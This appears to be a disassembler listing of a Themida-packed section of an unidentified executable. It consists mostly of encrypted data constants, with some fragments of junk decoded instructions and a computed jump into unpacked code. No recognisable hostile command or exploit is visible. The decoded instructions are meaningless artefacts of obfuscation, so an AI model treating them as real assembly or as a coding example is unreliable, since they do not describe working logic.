dd 3B787A65h, 67A446B6h, 2C039202h, 0DA595DCDh, 16936603h
dd 0F0777F5h, 0E82E9E22h, 14B31A8Fh, 1EEF2797h, 3AA51431h
dd 0D9BC2C8Dh, 0B5DC6775h, 0D6169366h, 93662A6Fh, 60C0D116h
dd 42F59B4Fh, 2E0171F6h, 6669B510h, 3B0C1693h, 3AAA0E23h
dd 1181E7FCh, 63072825h, 81F2E3A9h, 4D942F5Dh, 3016939Ah
dd 0D3CF381Fh, 6D09B456h, 1A82FDBDh, 9B191A44h, 0A2577A2Bh
dd 5166AF1h, 0C6832A65h, 121F6E63h, 1C9E9h, 0BABBD00h
dd 0E44003DBh, 79169C17h, 91BE2E8Ch, 83C68FCDh, 979FEBBh
dd 7F27300Dh, 1714F650h, 1BA70894h, 13EC2A9Ah, 0AD82133Ch
dd 5DD8DE4Eh, 91D8C096h, 0E5124305h, 0E3268419h, 1E92B78Eh
dd 48599DDAh, 0A10C8367h, 56E26051h, 494D62D2h, 16959674h
dd 99B6268Ah, 54C427FCh, 0F929D862h, 31A1071Ch, 3CE6282Dh
dd 0FF08A847h, 0B310210Bh, 8BA8B243h, 61D2B828h, 476C72E2h
dd 9D9773E3h, 4D3DC116h, 0FEB1380Eh, 0C939BFF4h, 0A8E7F0CDh
dd 4F2C47C6h, 0C92AE783h, 467BC59h, 77BCA294h, 0BD9284F4h
dd 0C814E3CDh, 0CEBFF767h, 2366DDE1h, 68EF6186h, 9278E84Bh
dd 0D6781D2Eh, 66574701h, 7B6FB376h, 0A2BC2C8Eh, 0FCC009BCh
dd 9C1EEF61h, 15AB742Ch, 2B37B472h, 4BC9A18Eh, 0D5F21ADDh
dd 5F26F421h, 9492B78Eh, 4859EF61h, 0CF764867h, 0EF619486h
dd 8DD1A475h, 0DD68C924h, 0EF6194B4h, 4D496637h, 949DC47Fh
dd 4F60EF61h, 2A898A60h, 94D7FAC9h, 6996EF61h, 0A7B79808h
dd 6194F51Ch, 88A778EFh, 0AD15958Eh, 0FCC7046Dh, 0EF6163D5h
dd 0C0B08798h, 744A658Bh, 4C4ABA3Fh, 969D9773h, 669CA94h
dd 46EA2F96h, 8091EF61h, 0C700AFEAh, 507FFC64h, 6EB1D72Eh
dd 0B7347D41h, 0E3624F47h, 654A4373h, 0BA39E685h, 1BDE4C4Ah
dd 2170D3EBh, 0DCEF61FFh, 76F52ACBh, 421585EAh, 3DFC21BDh
dd 4F4768EEh, 0D656E262h, 614D4966h, 37B413BAh, 82012EC7h
dd 0E3962412h, 8518ABB3h, 88EF61E9h, 0F351DEB7h, 93C99383h
dd 61E9E930h, 0E78394EFh, 0DE0EB1h, 54EF50B3h, 0EF61E90Dh
dd 1AF0DFF0h, 0E9288144h, 6233EF61h, 0C724A593h, 6A45B53Bh
dd 2B5B1B8Bh, 577A4913h, 161086F2h, 74CF6505h, 169C10BCh
dd 9DC47F41h, 601693ECh, 555E604Fh, 8ACF76D7h, 711693ECh
dd 39E68FA0h, 0DD4B4BBBh, 6ED5E919h, 10890476h
dd 85003607h, 1CAD4458h, 2D316115h, 3279262Fh, 0ADE959D4h
dd 0C5A107D0h, 3BB312F8h, 3A1AB1F0h, 0DD5C5569h, 0A28F7D6Dh
dd 0DC05C021h, 9F02B9F0h, 0CC15B08Eh, 0AF02B9F0h, 0BAECB19Eh
dd 0A5ABB198h, 4F4338Fh, 5BDB0000h, 94150AEBh, 63E25124h
dd 0AB0D22F3h, 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh
dd 33C23292h, 660F7FFCh, 8FD2715Dh, 6E169A88h, 0BAB8FADh
dd 0C84003DBh, 95169C1Fh, 0EB339284h, 941693DFh, 1297B21Dh
dd 9A9DBD4Bh, 0B4h, 91D8C790h, 81766A57h, 624F31E9h, 57286EDEh
dd 0F29508B3h, 79671086h, 78C69EB7h, 0F58AFE67h, 27971415h
dd 29991A17h, 777F4EDh, 83334228h, 0DB886B6h, 1086E0CCh
; ---------------------------------------------------------------------------
scasd
loc_5F156D: ; DATA XREF: Themida_:00579CD4o
sahf
cwde
mov ebp, [eax]
ror byte ptr [ecx-1796CBECh], 0C4h
jmp short loc_5F1584
; ---------------------------------------------------------------------------
dw 0DF9Ch
dd 64CD8FAFh, 0E42D9808h
; ---------------------------------------------------------------------------
loc_5F1584: ; CODE XREF: sub_5F0C13+965j
daa
loc_5F1585: ; CODE XREF: sub_5F0C13+985j
xchg dl, [eax]
xchg esi, [esi-693C7D2Ch]
daa
xchg dl, [eax]
db 65h
push esp
bound edx, [ecx-0Eh]
mov cl, [ebx-0Eh]
loop loc_5F1585
and cl, [edx]
and eax, 69996A50h
push ebp
pop esp
loopne loc_5F1624
les ebx, [ebp+601086ADh] ; CODE XREF: sub_5F0C13+9B8j
dec edi
pusha
mov dh, [ecx+edx+1086ADACh]
insd
inc esp
call near ptr 0C4845433h
push esp
jnp short near ptr dword_5F14A0+0ADh
das
push ds
sbb [ebp+10875270h], bl
js short loc_5F15D9
sahf
mov al, 13h
jecxz short near ptr loc_5F15A5+3
push 10865245h
call near ptr 427B54AEh
icebp
xchg eax, ecx
loc_5F15D9: ; CODE XREF: sub_5F0C13+9B3j
and [ebp+ebx*2+20108652h], eax
cvtdq2ps xmm7, oword ptr [edi]
push ds
add [eax], eax
add [ebx+4Fh], bl
; ---------------------------------------------------------------------------
db 62h, 0E0h, 70h
dd 3060209Ah, 0F227972Eh, 6FC4169Bh, 0A7989E0Eh, 55C1A890h
dd 0CFE27E7h, 869B9BACh, 7AE4B121h, 8FB8E164h, 56431693h
dd 5E2F67D7h, 5E1F9971h, 0A023102Eh, 0DA045A30h
; ---------------------------------------------------------------------------
loc_5F1624: ; CODE XREF: sub_5F0C13+990j
fst dword ptr [edi-19h]
add ebx, [eax+16938F7Dh]
sahf
rol byte ptr ds:16938FDCh, 3Dh
xchg al, [ebx-71h]
xchg eax, ebx
push ss
sub bl, [ecx]
cmpsd
sahf
or al, 0C6h
popf
out 32h, eax
jle short near ptr loc_5F1695+1
mov ecx, 83023405h
pop ecx
cmp eax, 278B1693h
mov bh, 7Fh
xchg eax, esi
outsd
nop
push cs
in al, 55h
jge short loc_5F1690
mov ah, 44h
push edx
mov bh, 0FEh
iret
; ---------------------------------------------------------------------------
dd 93A0B614h, 6F2AC030h, 91A40940h, 922C9DBDh, 0
dd 4DA0AABh, 86F21841h, 35B6E310h, 0DFD747A9h, 0F8D5C1EEh
dd 0DFFDDFD7h
dword_5F168C dd 86F23D64h ; ---------------------------------------------------------------------------
loc_5F1690: ; CODE XREF: sub_5F0C13+A45j
adc al, al
loc_5F1692: ; CODE XREF: sub_5F0C13:loc_5F16DCj
shr dword ptr [esi-2], cl
loc_5F1695: ; CODE XREF: sub_5F0C13+A30j
sar dword ptr [ecx], 1
loc_5F1697: ; CODE XREF: sub_5F0C13+A90j
clc
ja short loc_5F16B0
dec eax
jge short loc_5F16F1
repne xchg dl, [eax]
pop ss
push es
lahf
jp short loc_5F1697
xchg dl, [eax]
add [eax], esi
pop ds
loc_5F16AA: ; CODE XREF: sub_5F0C13+AD1j
jbe short loc_5F16DC
; ---------------------------------------------------------------------------
dd 5D7F5F8Fh
; ---------------------------------------------------------------------------
loc_5F16B0: ; CODE XREF: sub_5F0C13+A85j
push esp
xlat
sbb dword ptr [bx+si], 45h
repne xchg dl, [eax]
db 66h
jno short near ptr dword_5F168C
iret
; ---------------------------------------------------------------------------
db 0FBh, 0C1h, 0EDh
dd 85960AE0h, 0AC8ACB91h, 41E83D21h, 0A1980A3Bh, 0AC83EFE0h
dd 0CABEDFBEh, 52B01087h
; ---------------------------------------------------------------------------
loc_5F16DC: ; CODE XREF: sub_5F0C13:loc_5F16AAj
loop loc_5F1692
mov edi, 0D6CBCB3Bh
push ecx
loope loc_5F16AA
push ebp
push 79h
dec esp
; ---------------------------------------------------------------------------
dw 0F2DDh
dd 536B9B5Ch
db 82h
; ---------------------------------------------------------------------------
loc_5F16F1: ; CODE XREF: sub_5F0C13+A88j
mov ebx, 1E5D025Eh
cmp [edi-437D97B9h], dh
or [ecx+ebx*2-79h], esi
adc bh, dh
db 26h
dec edi
jmp near ptr 87B6DE2Dh
; ---------------------------------------------------------------------------
db 2Ah, 0C8h, 58h
dd 8B89615Eh, 0D0A51596h, 4EF516EAh, 1086F20Bh, 745229F2h
dd 0D24FD3F9h, 0CB0CD2FDh, 8A62254Bh, 720C2B50h, 0F1CB13FFh
dd 7BE806Ah, 169B46D3h, 268D899Ah, 169334E7h, 3590CE90h
dd 169334ECh, 0E5CCBE8Fh, 35BBF8FAh, 0EFCD1C5h, 0BDE41A9Fh
dd 65A29Dh, 0AB760000h, 0C838BF0Bh, 0B7E6F1CEh, 6D5236CBh
dd 0E4FAC4EBh, 0B9FD6DCFh, 7058F3C4h, 34686D7Fh, 61CB6756h
dd 0A172169Bh, 2B8AA775h, 83AC1C9Fh, 6591BCE7h, 61C71693h
dd 50ACC5F1h, 0E151B3E0h, 0F6E950B5h, 3A773DEDh, 714E48B8h
dd 65B3D66Dh, 693A1693h, 4BA71681h, 751585E6h, 0BDB0B336h
dd 0C3399Dh, 244D0000h, 525F57C7h, 9D9680F0h, 0A390AE1Eh
dd 765AE1Eh, 2839F397h, 4DBD3FCBh, 4373E346h, 7C59654Ah
dd 0C42D9D78h, 0E0AB5FECh, 862D98E5h, 0BD2D8E10h, 78E84BD8h
dd 0DC0CAC3Eh, 2BFB4302h, 1B18169Bh, 5E422898h, 3E02A84Dh
dd 4D95300Eh, 30108B7Ch, 25118103h, 0F73FAF0Ch, 38062906h
dd 84EB77FBh, 0F05A3B14h, 7E3257EEh, 0E8B91CABh, 41B11102h
dd 0C30E84BCh, 6DD5DFB1h, 196h, 0A84DBD39h, 0EF86F67Bh
dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh
dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9A8CED34h, 2D0F9016h
dd 0BF56C624h, 0D2A31370h, 6174F88h, 0ABDE12B6h, 0F3970768h
dd 0DB0BAB3Fh, 0F5F04003h, 0BC8D169Bh, 0F1D2FB7Ah, 999B1693h
dd 0BDAD1D98h, 0D507EBD2h, 93F12B6Eh, 29C1D216h, 0BD1CFF6Ah
dd 0A9859Dh, 92C30000h, 0E7285781h, 0E84C3EB6h, 5F57C724h
dd 364F052h, 2E8EA393h, 0A88778BEh, 9D99096Bh, 2C878FA0h
dd 1086F7C1h, 11E454D7h, 531A122h, 0CB93C373h, 9BF134F8h
dd 8D683916h, 1529591Dh, 8B9185AEh, 0DBE3B410h, 0E252B001h
dd 422069DCh, 0FACB1CAAh, 2F9F2310h, 0E959D946h, 0C3E9D614h
dd 1FA391B1h, 0BEh, 0B045B511h, 0E78EFE83h, 0A84DBD38h
dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh
dd 65C65D38h, 0A7B720F5h, 9A8CF51Ch, 45F77816h, 8856C624h
dd 6155C52Bh, 507FEF50h, 0E744DBBAh, 4F9A9E77h, 0F293B68Dh
dd 4DF81086h, 1086F204h, 596AD6E7h, 0DF61CE7Eh, 5E0C8F95h
dd 0D8DE4EADh, 1DF868CBh, 0A5B9E98Dh, 1CAD9EB7h, 0A9D9B3Ch
dd 803ECFAFh, 5436195Bh, 0A3025F69h, 0B3377C16h, 26F7A743h
dd 108003F0h, 57D8D985h, 0A50603E7h, 7F820135h, 0EE544113h
dd 0C6F5887h, 0C92AF99Ch, 0E4445D59h, 0EC496A74h, 0A5A08E7Ch
dd 7DFEC9F4h, 38BB680Dh, 366CEC8h, 42000000h, 0CA244B2Fh
dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h
dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 68783C7Ah, 0B18h
dd 53242C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 8957243Ch
dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch, 1C727168h
dd 243C8B06h, 4C481h, 0B6680000h, 8900007Bh, 4832424h
dd 525D0424h, 24048157h, 14E239C4h, 0C4EA815Ah, 8914E239h
dd 0FF5A0855h, 815D2434h, 4C4h, 243C8B00h, 5E08950h, 4
dd 8704C083h, 0E95C2404h, 0FFF8FE02h, 34CAE0D2h, 3A693830h
dd 0E412EB5Bh
db 0E4h
; ---------------------------------------------------------------------------
loc_5F1A8D: ; CODE XREF: sub_5F0C13:loc_5F0C55j
mov eax, 61C7FD0h
add eax, ebp
jmp eax
sub_5F0C13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 10BAh
dd 547308ADh, 0E2503FE2h, 153C2E33h, 0AEC306E5h, 2F8D1F77h
dd 8949505Ah, 85F1216Bh, 6A0667E0h, 48F5E09h, 85034296h
dd 8AE84B01h, 97661B6Fh, 0D07B6FE5h, 498338CEh, 876575A2h
dd 521A0E7Ah, 0DC9B4BC1h, 0BE84CE2h, 3F000000h, 4696EE60h
dd 506A61BDh, 8C0F15ADh, 3, 58D2BF0Fh, 8820Fh, 8D0F0000h
dd 2, 0C0816160h, 5B1Bh, 68F9B70Fh, 16A2h, 4880Fh, 0BB660000h
dd 8B5E23C9h, 0B70F6008h, 6150B0D1h, 27D4E981h, 8B6648E7h
dd 1AC181D0h, 80417F2Fh, 0E981D5C3h, 1CA55314h, 7DBF51F5h
dd 8F1A58EBh, 810F00h, 83000000h, 8B6603E8h, 13E948FAh
dd 0B000000h, 6391A30Ch, 4CD21D2Fh, 6CA23863h, 0C80BDA87h
dd 0EE8309D2h, 0A8850F01h, 0FFFFFFFh, 16E9D3B7h, 0C4000000h
dd 16359Eh, 4 dup(0)
dd 551E900h, 2F8F0000h, 0E849D6BFh, 27869D78h, 0EF51DEB7h
dd 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh, 6F0676F6h
dd 42D343C0h, 0D3F6CD91h, 9A169A73h, 0C72463D9h, 0D5EAD65Fh
dd 80AF9314h, 0AD1D9D96h, 68D85BC8h, 46B6352Eh, 6EDE6350h
dd 1D6B828h, 0B32B8D80h, 54291A31h, 0BADA7BC0h, 13BAF595h
dd 0D2CF37B4h, 65F8F16Dh, 1221F4DBh, 7CB342B2h, 8DA69000h
dd 0AB1B9E2Ah, 2B39284h, 2090ECDBh, 0ED5DDE55h, 11380BD1h
dd 0DC10867Ah, 27F51FCBh, 5238A80Ah, 867A2B73h, 4DBD3D10h
dd 67D75849h, 53C3422Fh, 7C6756DDh, 4405B841h, 97A8A1B9h
dd 8D3Fh, 0C7245B00h, 0EE558757h, 1086F2ABh, 0DB76F0E9h
dd 0AB6712Fh, 575FA39h, 0E04E3C11h, 868C3E65h, 14BB3A10h
dd 0A897C835h, 0D1746A97h, 10868088h, 0B6268673h, 97A08F80h
dd 5F9174F2h, 2814F64Ch, 1, 55C52404h, 0A9F05389h, 0EB1086F2h
dd 9290DB39h, 0A08D3336h, 0EA80AF1Fh, 42B2372Ch, 78D95F54h
dd 48BADF66h, 70411086h, 86488CD5h, 805E6F10h, 86489CC5h
dd 614E5F10h, 8B32B935h, 714DBD3Ch, 0B951C140h, 76E645DAh
dd 0C624999Fh, 0EE536056h, 4670E062h, 5B586649h, 8A8466D6h
dd 0D2716BEFh, 1086F28Fh, 0D6565D6Eh, 0AB5F3066h, 8CEED904h
dd 93F1421Ch, 1B34A407h, 2D48221Bh, 4AB21021h, 201BEDF2h
dd 0FA90BF35h, 4C4ABA39h, 0EB4AD657h, 7C423B7Bh, 86A080C9h
dd 755A6B10h, 0E7F5C741h, 86A0355Ch, 3E7B810h, 0F528218Ch
dd 3B97A86Dh, 0A0h, 56C6244Fh, 0B4357E60h, 0F2A9F053h
dd 43541086h, 89552A6Ch, 86F297BAh, 0A5455610h, 9D990964h
dd 80B62684h, 75A11173h, 0EFF4DBD2h, 0DF13BA21h, 86E773D2h
dd 0FD3916h, 0D949A96Ah, 0E151AC05h, 35B56A09h, 60E0D1C5h
dd 64C5EEF0h, 1DCDC2F4h, 0AF1E99EFh, 0A81C3F9Ah, 66A597h
dd 8EA30000h, 28AAC72Fh, 0C1EE2209h, 33D7A8EEh, 0B68D4FFFh
dd 1086F293h, 70A1495Ah, 0C29CA212h, 86F2DE03h, 41883B10h
dd 2C1086F2h, 0C394A51Bh, 8C96B217h, 0C745251Dh, 0ACEA5ADAh
dd 0D8EFDE4Bh, 1D0BEA5Ah, 6155C524h, 86F2BAE2h, 8E41B810h
dd 0A81A2EBBh, 0EB697h, 0BFF40000h, 51F4CA3Ah, 1086FE08h
dd 0D44822F3h, 8461C924h, 0AC5F275Eh, 0F060DDD6h, 0D8E6C9C6h
dd 0B1E555DBh, 0F3002EDCh, 0FF62090h, 359037A6h, 0B68A30C5h
dd 0F87BB886h, 979F0F6Ch, 0BF8D89A6h, 86EBDD04h, 0A08FA010h
dd 75D174CAh, 8169BE5h, 204C813Fh, 54B0F129h, 0B2E4CBE4h
dd 43D242C1h, 171F8FECh, 933C779Ch, 218CFD16h, 61E445A6h
dd 16933C38h, 42C1F2C3h, 0B18FDD2h, 0E5FE38A8h, 69201686h
dd 0E94A7D30h, 0A4099C79h, 2C9DBDE8h, 11Bh, 0DB0BAB00h
dd 56FCD903h, 2A2457ABh, 84F4CFBBh, 39169B21h, 0B6352E68h
dd 380AF46h, 2D8EA393h, 7CBE79BDh, 5046B637h, 0B9248B7Fh
dd 213DAD0Eh, 0AA40B010h, 0F553D6CBh, 53D99DBDh, 0AD000000h
dd 56ED0EABh, 1086F233h, 0F8C6E9BAh, 86F2244Dh, 0C0F6C790h
dd 86F21C45h, 7F5D5F90h, 86F29DC4h, 9B4F6090h, 0B485C9F4h
dd 0E60BBA84h, 851086F2h, 2B89AAB4h, 39B89CBBh, 0C3E3782Dh
dd 98684C27h, 66000000h, 3B7BEB4Dh, 3B777542h, 2B569256h
dd 0BABDB3Fh, 0D8D903DBh, 0D5AAEC5Ch, 1E959DEh, 9C0616A2h
dd 20162716h, 0B540B013h, 0C910B3A9h, 0B41693E6h, 0A90A07E3h
dd 5476FD39h, 1C1693E6h, 2685426Dh, 99A5159Ah, 93E4E72Ah
dd 9AB58616h, 9D0D6FC4h, 0A7C6A499h, 2F0F3FFFh, 0B665F994h
dd 6BAB7C10h, 9185F576h, 16DC03B2h, 5F753841h, 522B6BDBh
dd 830AD85h, 58883862h, 0F2EBF86h, 0ABAD1A92h, 0CB0FF118h
dd 288F7C02h, 0AE817EB8h, 0FEC3590h, 0BE8F02CBh, 4F380491h
dd 0F293B68Dh, 70CD1086h, 87391600h, 89A6169Ah, 0D707B7E1h
dd 73A13C07h, 132416A3h, 3DAD0E23h, 0F868CB58h, 8A9337BEh
dd 6ACD26ACh, 44A7BCFAh, 6E27E2D4h, 0C910B33Fh, 0B406C368h
dd 0DD44CCE3h, 0EE56D5F2h, 8B6A455Bh, 60351A7Eh, 88E470D3h
dd 0F2FF3718h, 1D181E8Eh, 2586416Ch, 0F053E0B5h, 32E9680h
dd 0A000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
dd 57783C7Ah, 0BE56E789h, 6BEB01F9h, 5040CE81h, 0F681732Ah
dd 1D6720C6h, 3AEE814Eh, 1668C71h, 0EF835EF7h, 243C8704h
dd 4EC835Ch, 68240489h, 531Dh, 52241489h, 0B53929BAh, 0B9514213h
dd 2B1F275Ah, 0AD0C181h, 0F18139BEh, 54B173Bh, 4A59CA01h
dd 52F2814Ah, 897357DFh, 0EC835AD0h, 24248904h, 4240483h
dd 0B951505Ah, 68764B6Bh, 4244C29h, 8428F59h, 6B084281h
dd 8B68764Bh, 89532414h, 4C381E3h, 83000000h, 1C8704C3h
dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h
dd 0F8F7A1E9h, 85E3F9FFh, 0A18C1FB6h, 0B8C4838Ch, 61C8608h
dd 0E0FFC503h, 0E8FEF64h, 7F23BDEh, 0C9EFBE8h, 0FAC4ABBh
dd 5608109Ah, 2B498740h, 24FD04h, 87D4085h, 1DF6A901h
dd 35A7D945h, 747A3BD3h, 21B19C4Eh, 57A36605h, 5A242A02h
dd 60550AF5h, 58B812EAh, 6FEECC7Bh, 6DC8BD77h, 5F65B789h
dd 1F37E8DCh, 11BA4508h, 8415203h, 4991D1B3h, 4BAD2A0h
dd 482C647Dh, 657722B2h, 1150D7D8h, 1D1778B9h, 3EF23DF9h
dd 4E260581h, 51279F83h, 0ECE9h, 0
dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
dd 0F200007Ch, 276h, 5 dup(0)
dd 80ADA000h, 7Ch, 2Bh dup(0)
dd 600h, 39E71400h, 7F2D0C16h, 0A8334978h, 5F0CC31Ch, 0FC3BAC33h
dd 15662234h, 7B651D4h, 0A8E5B419h, 13734CC7h, 966F5732h
dd 65BC8Fh, 0C128834h, 0D5ED1762h, 1562338Ah, 90E39832h
dd 98609D21h, 2CCDAAFh, 4EB5DD34h, 0B8DB926Ah, 15609D31h
dd 46365346h, 1562338Ah, 90E39832h, 98609D21h, 2C1C9AFh
dd 4EB5DD34h, 7306E86Ah, 940049B9h, 74FAEDEAh, 11ED72CEh
dd 11A29216h, 156681DBh, 3EED1832h, 0CA8DA4C5h, 0A8E5D9E3h
dd 137A0F50h, 5CE24B32h, 0ED662232h, 0A8E39CCAh, 1A609409h
dd 15664AB2h, 156FCB32h, 75E71132h, 0EDE0FAE2h, 0EA4FA50Ah
dd 1561CBE2h, 57081132h, 12EE9FC5h, 0F8E3C9CAh, 0EC603E09h
dd 48FC1CDh, 0EB668832h, 0EEDA8AEh, 460072EFh, 0AD4B9EE2h
dd 0FDE88F9Ch, 1CA3C1F4h, 75302427h, 9E000D81h, 9669E9F5h
dd 15664433h, 0AD344ACBh, 138F8D9Ah, 63668832h, 0B8CB7CD6h
dd 4D3DDA2h, 7560041Ah, 98DA1B8Ch, 1568AD1Bh, 45962232h
dd 191D3801h, 4F2A7381h, 774BAD81h, 156BCB53h, 54031132h
dd 772BD2FCh, 7C453635h, 985E7E91h, 0D14ADB7h, 0C5997134h
dd 1577AD52h, 0C0802232h, 80B22E08h, 0E5F9FB45h, 0D7FB1884h
dd 754F69E0h, 0FDA19A54h, 1566883Ah, 0C1D8F977h, 0A606F8E8h
dd 9C07706Bh, 4241B7h, 14EE4B34h, 0EC662232h, 0B0394F5h
dd 15668E27h, 9C694432h, 15662239h, 33869152h, 15660F3Dh
dd 0D3074432h, 6FE7B7h, 188F5434h, 30668832h, 0C6A715CAh
dd 7BD85578h, 3E0AD7A4h, 670FE15Ah, 14E74BBCh, 0ED662232h
dd 3E3A4CDh, 0E0068E27h, 98074682h, 5D1AB7h, 94007134h
dd 940432DBh, 5447CDF2h, 0C5994328h, 156E9E3Dh, 90698832h
dd 15664430h, 9E694352h, 15661133h, 28E301C7h, 7560511Bh
dd 5AD39854h, 1565993Dh, 9E008832h, 90A025E4h, 13732BF7h
dd 19E71E71h, 0FC668832h, 15664435h, 17BD5688h, 7D233E49h
dd 8901E36Ch, 1561C43Dh, 91692232h, 15661133h, 90D377CEh
dd 1A605124h, 156623B3h, 90EBE932h, 1373B30Ah, 15664EDBh
dd 263A6E32h, 7BD500C7h, 0EA37FB43h, 90EFBDE2h, 137AA578h
dd 10E71E52h, 73668832h, 9FA58EB3h, 1560A53Dh, 93691132h
dd 15668832h, 0D0E38253h, 4160373Bh, 156E9E3Dh, 90698832h
dd 15664430h, 3C0E4352h, 1A88735Ah, 156686BBh, 156FAD32h
dd 77462232h, 853D986Eh, 0EADF072Eh, 70C187h, 90EBDB34h
dd 13732A0Ah, 1570013Dh, 9D694432h, 15662222h, 15661ADBh
dd 0CF9A9732h, 9C87DC40h, 0A1178B24h, 198FC1CDh, 21668832h
dd 85EE3E2Dh, 60688AB1h, 9C7D7F8Fh, 9E1C6B7h, 90A0BC34h
dd 13732BF7h, 9E007177h, 7D0771F3h, 0CF067CF0h, 15662FDBh
dd 0A0B75332h, 89037D2Dh, 0C255924Fh, 0A0998938h, 137307B7h
dd 157261CBh, 0B2FD4432h, 6C801A25h, 0B7A065C5h, 0C59B9C88h
dd 9279F3BBh, 90EB0BA5h, 13732A0Ah, 156683DBh, 53B92E32h
dd 3EC53C56h, 0F55D241Dh, 0F2E7EE52h, 0EA0785B1h, 90EFDAE2h
dd 137A9660h, 15668EDBh, 0C6484932h, 96B02FDBh, 4BA48Fh
dd 90698834h, 15664503h, 1577CBCEh, 68031132h, 0A9861C57h
dd 2642BD10h, 9080EE8Fh, 0D3DE64A9h, 6F4DB7h, 75060134h
dd 759D953Dh, 94007053h, 742AB0D2h, 3518C25Ah, 156BCBC8h
dd 71221132h, 73D03206h, 37481EDBh, 0EA44EF31h, 709487h
dd 17E18734h, 75664432h, 2E72D53h, 75661132h, 156687DAh
dd 9C571832h, 0FCDD8FF4h, 0E29005B7h, 0C25E96D9h, 90EB2568h
dd 1373190Ah, 1561973Dh, 96698832h, 15664433h, 0FCB6DDCEh
dd 15661139h, 0C3EF29E1h, 494475D5h, 0FC9CC07Bh, 15661139h
dd 0C02184DDh, 4167D653h, 9C832EC7h, 9E147B7h, 90A07134h
dd 13734DF7h, 9669427Eh, 15661133h, 157261CEh, 42394432h
dd 0A0A45CFAh, 3D3B6BF0h, 13D6C834h, 0CDFCA72Ah, 7D07E8A3h
dd 0F540C1F1h, 15760D3Dh, 1E8F4432h, 78662232h, 1BBB5040h
dd 85D20962h, 0A099A22Dh, 137334B7h, 73A79A52h, 378256B3h
dd 90EBBD53h, 1373190Ah, 15661BDBh, 0DBB9EA32h, 117CA0BAh
dd 0EA6D9EA5h, 90EFE8E2h, 137A0F68h, 15664DDBh, 0DC9E4F32h
dd 8F1980B5h, 0FC9F0FCEh, 15664481h, 0D0E3E4CEh, 4760043Bh
dd 0F16BE0C7h, 9869F878h, 15662233h, 0D3EECAh, 0ED609D22h
dd 2E5EC1BFh, 0EC062427h, 74ADA63Dh, 450658CDh, 733D2552h
dd 7421408Bh, 923094BBh, 0E9068E2Eh, 744294B2h, 1CA3A7F4h
dd 1A341727h, 156689B4h, 5D0EB832h, 75C06E78h, 0EA07CCB8h
dd 769D87h, 156AAD34h, 60562232h, 80A300FDh, 4D948D4Ch
dd 90EB8AF4h, 1373190Ah, 17EC1E52h, 47668832h, 3081C56Bh
dd 740C6DC0h, 1F8FC1CDh, 80668832h, 0CE6F8ABCh, 895B17F3h
dd 4FE398E7h, 756094B5h, 156655DBh, 0DFBB4732h, 7AA3E25Dh
dd 9ABD17F6h, 0FE90A4BCh, 0D307571Dh, 6FD4B7h, 68FDA34h
dd 79664432h, 0F720A701h, 0D1A62913h, 833BF87Ch, 0F4643D59h
dd 0FF0ED0A1h, 0E99B5386h, 90D377CEh, 0E9605124h, 2E5EA7BFh
dd 0EA9A1727h, 90EF74E2h, 13736A0Bh, 0F3E77352h, 56A7FA54h
dd 0E7E7EE6Bh, 75075485h, 44A19D3Dh, 743E7052h, 1CA30DF4h
dd 1A114227h, 156623B7h, 0B60EE932h, 1A951F9Ah, 156651B6h
dd 1576CB32h, 23171132h, 0E575FD2Eh, 98B9B3A8h, 4E84529Fh
dd 0A0998981h, 13738FBBh, 2DE3C9CBh, 1A603709h, 156606BDh
dd 15746132h, 215B4432h, 5826BB2Fh, 0CD69FD52h, 68082FDEh
dd 95957852h, 6888A352h, 0FC76752Dh, 15668838h, 9797C9E9h
dd 9C0DA445h, 0EA07307Ah, 2EF87E2h, 0FC664432h, 15662220h
dd 0C27FADFFh, 0D1CB11D2h, 7B843157h, 0CA735DE0h, 90EFDEE9h
dd 1373BBB7h, 0CCB5C452h, 3A84A354h, 90A070DFh, 137381F7h
dd 99692460h, 15662234h, 15669A3Dh, 48F8832h, 3A664432h
dd 0F578C18Eh, 0EE2A5B94h, 87A9A805h, 5B7D827Dh, 24714A53h
dd 97699BEFh, 15668837h, 0C2D14B52h, 90D3DD53h, 75600424h
dd 95A5373Dh, 9807C5E7h, 5D1AB7h, 0EA9EED34h, 9C9370E2h
dd 65DDB7h, 0FE42D34h, 75661132h, 157461C7h, 0ED914432h
dd 0A629E721h, 0C19FE37Eh, 86CE460Dh, 0B7B5BDF9h, 0D0E3E453h
dd 4360043Bh, 785FE0CEh, 9C69902Dh, 15662233h, 4D3EECBh
dd 75609D1Ah, 156656DAh, 0A4D8B232h, 8DC347B6h, 9DC9B958h
dd 4B7F91BDh, 4CBDAF47h, 0CBB49054h, 9A69E969h, 1566443Bh
dd 5B95A252h, 8148AB54h, 0A9E30553h, 0E0605C40h, 1C8FF2CDh
dd 0E6661132h, 807EF0AAh, 6AF04D61h, 1337A7BBh, 99691727h
dd 15668833h, 1568ADCAh, 0A2EB2232h, 906BCFF1h, 0D90C9D82h
dd 2C0D9297h, 1CA3A7F4h, 0FC211727h, 15668835h, 0EAEAE22h
dd 7D1BA74Ah, 94BA0148h, 90D377C7h, 75605124h, 1AB6A954h
dd 9807E885h, 5DB0B7h, 138FB834h, 0B7662232h, 0ADE531E9h
dd 75B67706h, 6BA4C554h, 11BFA31Dh, 743F17BAh, 3FF30DBBh
dd 9A694227h, 15662238h, 156614DBh, 4632FF32h, 90A019ECh
dd 13732BF7h, 1563F875h, 27A98832h, 7D503AE6h, 9F6997D0h
dd 1567983Dh, 0EA9F8832h, 70C187h, 1EEA2D34h, 0FC661132h
dd 15668834h, 5C43CF14h, 90EB516Bh, 13732A0Ah, 156F6152h
dd 7E3C4432h, 0E21C3E1Fh, 0E993DA0Dh, 75B67753h, 1A9FCF54h
